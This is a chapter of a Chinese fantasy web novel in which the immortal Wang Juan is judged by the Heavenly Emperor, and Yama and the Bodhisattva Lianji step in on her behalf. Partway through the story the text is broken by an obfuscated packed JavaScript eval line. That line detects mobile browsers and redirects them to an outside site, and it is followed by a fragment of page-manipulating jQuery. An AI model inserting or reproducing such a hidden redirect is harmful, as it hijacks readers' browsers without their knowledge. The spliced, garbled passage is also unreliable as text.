这是天帝第一次正视王隽。
她与二次受封时处处小心谨慎的模样不同,如今面对众神质疑、不解的目光,统统置若罔闻。
她就那样挺立在众神之间,眼中毫不掩饰自己的野心。
这恰恰是座下神仙都不会表露于脸的情绪。
他们修炼心性到炉火纯青的地步,就连自己也看不清那张张平静到淡漠的脸究竟藏着什么心思。
天帝必须承认,他欣赏现在的王隽,但绝不能接受这样的王隽。
他慢慢闭上眼睛,来自远古的叮嘱还回荡在脑海——
“作为天界之帝,你永远不能让任何人打破三界的秩序。”
人妖仙之别,是绝不能违逆的天道。
他要拉拢妖成仙,感化超度,让他们不可在它处作孽。
他要掌握人间香火,让他们脆弱如浮萍的身心得到庇佑。
他要守护天界的秩序,让天上还是人人向往的桃花源。
即便这些神仙都是一个样。
而王隽是自己唯一不能估摸的变量,她虽然对自己忠诚,可更忠于她自己。
她对众生抱有同情的程度是对神仙同僚枉法到绝情的程度。
这样的神仙或许值得人类尊敬,可对他,对天界而言,是可有可无的。
没了王隽,天界什么都不会变。
什么都不做,就什么都不会变。
作为天帝,他为了三界已经献出了自己的一切。
他的选择容不得半分自由的意志。
王隽望着天帝渐渐清明的威目染上一层悲哀和惋惜,便知道自己在天帝的权衡下被舍弃了。
果然,天帝沉沉道来众神预料中的宣判——
“六道轮回,万事万物有他们的宿命,你强行干预人间善恶因果,寡人必须予你天罚。”
王隽不意外,甚至带着几分释然。
众神都知道,她是心如死灰了。
王隽故作轻松道:“天帝要怎么处置我?罚我去留仙梯,还是贬入人间,或是去地狱受罚?”
听到她立刻更换了自称,天帝不觉开口问道:“你既然知道寡人要罚你,为何还要说大逆不道之言?”
王隽苦笑摇了摇头,“现在不说,以后也会说,早说晚说都没什么两样。”
天界之主都是如此,就算她在天界拼尽全力,还能改变什么?
“我现在除了理想,一无所有。”
她是自嘲,也是自暴自弃。
天帝不由得露出一丝不忿,“你就不怕寡人会将你打入人间轮回,再不得回到天界?”
“这就是对神仙最大的惩罚?”王隽依旧云淡风轻的样子,“我本从人间来,现又回到人间去,有何畏惧?”
王隽是一无所有,正因为如此,她也一无所惧。
天帝哑口无言,夷无老君这时开口道:“陛下可还记得数万年前,那叛逆者受过的天罚?”
天帝皱起眉头,“你的意思是……”
“正是。”
夷无老君抬起倨傲的脸,盯着她的脸一字一句道:“剔除仙骨,废除法力,受雷击千年,水刑浸淹千年,烈火焚烧千年,直至灰飞烟灭。”
王隽握紧拳头,这是要彻底绝了她的痴心?
西王母暗暗沉了脸:夷无老君的心够狠,这是要王隽万劫不复啊。
若是贬下凡间,尚有修炼成仙的余地。若是灰飞烟灭,那王隽再也不会有机会了。
凌岳仙君见天帝一言不发,向前一步道:“王隽表面上为您传道,实则暗传反动思想。”
他的话突然变得慷慨激昂,像是在演讲:“她口口声声要追究龙晨贪恋人间,与日神弟子羌草同谋的责任。殊不知她在天界四处散播人间的美好之处,引得不少道童对人间产生向往之情。谁知你是不是假借传道之名,引诱神仙下凡!
“若说根源,究其根本就在于你王隽!”
“臣愿以万年清名保证,臣所言句句属实!”凌岳仙君满脸正气,“若陛下不信,可传召我门下弟子作证。”
天帝的脸色微冷,“王隽,你可要辩驳?”
王隽冷笑道:“现在我辩不辩有什么意义?您和大家都知道我没罪,不还是要罚我吗?”
她向夷无老君和凌岳仙君鼓掌:“若说污蔑残害同僚,我比不上两位厉害。”
几位神仙正想为王隽说话,可见天帝脸上决绝之色凛然,终究没有开口,不由得暗暗摇头。
“传道真人王隽,因藐视天规,干预人间因果,贬去人间……”
一声近乎嚎叫的哭声从殿外响起:“天帝息怒啊!”
王隽闻言一怔,脸色终于有了变化。
天兵天将拦住来客,那人赔笑着将挡在身前的方天画戟挪开,干巴巴重复着:“我有请柬,我有请柬。”
趁他们检查仔细请柬时,阎王飞奔而去,慌乱中摔了几跤也不停下。
待他爬到众神间,对着前方还未见到的帝颜不停呼喊着:“天帝——王隽在地府辅助小王管理有功,千年万年也不曾松懈,是地藏菩萨也称赞过的大慈大悲之心啊!”
“求天帝顾及她的苦心和善心,饶恕她吧!”
王隽心口有巨石压坠了下来,压得她几乎喘不过气。
看着玉石砖上渗出的血痕,她合眼藏泪。
在地府时,她之所以能有那么大的权力管理上下,也是靠了阎王的一念之善。
若不是他有心改革,自己又怎么有资格去做那些事情呢?
可惜天帝不是阎王,天界也不是地府。
自己是生是死无所谓,可她再不能牵连谁了。
王隽紧紧握紧的双拳又慢慢松开,准备跪下认错,身后又响起温润如珠的声音。
“既没有错,为何要跪?”
西王母见来者心喜:本来她还担心阎王能不能保住王隽。可若是眼前这位,那必定是有希望的了。
天兵天将见来者是谁也没敢阻挠,恭敬让开请他入场。
众神亦是脸色一惊:莲吉菩萨怎么会来?
天界的事,佛界为何出手?
王隽迷茫地望着莲吉菩萨,随即意识到,一定是玄鸟去找了他来。
她心中苦涩道:“你们为何要为我做到这般地步,这怎让我毫无牵挂啊……”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15925279|159305||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
天帝脸色有些难堪,但还是顾及了佛界的面子,皮笑肉不笑问道:“菩萨为何前来?”
莲吉菩萨淡淡一笑,恭敬向天帝一拜。
他看向一旁有些不知所措的王隽,若有所指的说:“有风向我传来了求救的声音。”
众仙窃窃私语,谁不知道灵吉菩萨最不喜风,怎么会听风的声音?
而王隽也怔住,她并不了解莲吉菩萨,自然也不知他们的私语是何意思。
莲吉见她没有反应,低眉调整了一瞬,再抬起脸时,仍是慈悲而温和的笑脸。
他直言道:“我奉世尊之命,前来为蟠桃宴会增添贺礼。”
原来如此。
大家纷纷安心不提,脸上流露喜悦之色。
天帝面色缓和:看来他并不是为王隽而来。
他转而大笑道:“既是如此,还请菩萨为寡人向西方圣佛道谢。”
莲吉菩萨点头:“自然。”
见宴会的氛围活跃起来,王隽有些尴尬。
本来她还以为自己被这位有慧眼的菩萨救了呢,看来是她自作多情了。
也是,自己到底是一个小仙,即便是前世的旧友,对今世的王隽又有什么重要的情感?
谁愿意为了自己得罪天界众神呢?
莲吉菩萨将王隽脸色变化收于眼底,不忍再逗弄她。
“天帝,我还有一言。”
“哦?菩萨请讲。”
“来时,我听这位小仙说了一些话,以我之见,她所说也不无道理。”
王隽震惊看着莲吉菩萨意味深长的笑容:难道她被耍了?
宴会的气氛又冰到极点,天帝冷笑:“看来菩萨是想当个和事佬。”
“并非如此。”莲吉菩萨笑容不改,“立场不同,自然见解不同,有何对错?”
“世尊广开大会,不仅是传授点拨我等菩萨罗汉,亦是让诸位辩论明理,了悟真意。陛下何不今日效仿,如此也能消解众神心中疑虑。”
莲吉菩萨看着王隽:“相信,众神之言也能让她心服口服。”
天帝注视他良久,他依然一副坦然平和的模样,让他琢磨不透。
西王母细声建议:“天帝,王隽从不认为自己有错,甚至连众神千年万年修行也视为无物,不妨就让众神与她辩上两句,一则借此点化她一二,令她真心悔改。二来也能彰显我等神佛慈善之心。”
夷无老君见天帝有些犹豫,立刻出声劝阻:“陛下,依老臣看来这实属多此一举,王隽她宁死不肯悔改,如此更不可能改变。”
“老君,这是王母娘娘的蟠桃宴。”瑶芝微笑提醒他道。“自然,也只有陛下能做出决定。”
她冲着王隽眨了眨眼,示意她快借这个机会,将劣势扭转乾坤。
王隽自然也想明白了,赶忙开口:“陛下,请让我向众神开——各位神仙开化我的心智,让我心服口服再受责罚也不迟。”
天帝沉思良久,点头默许。
因为这并不会改变王隽的结局。
但起码这刻,他想知道这天界的众神,还是不是如记忆那般——
永远不会失败。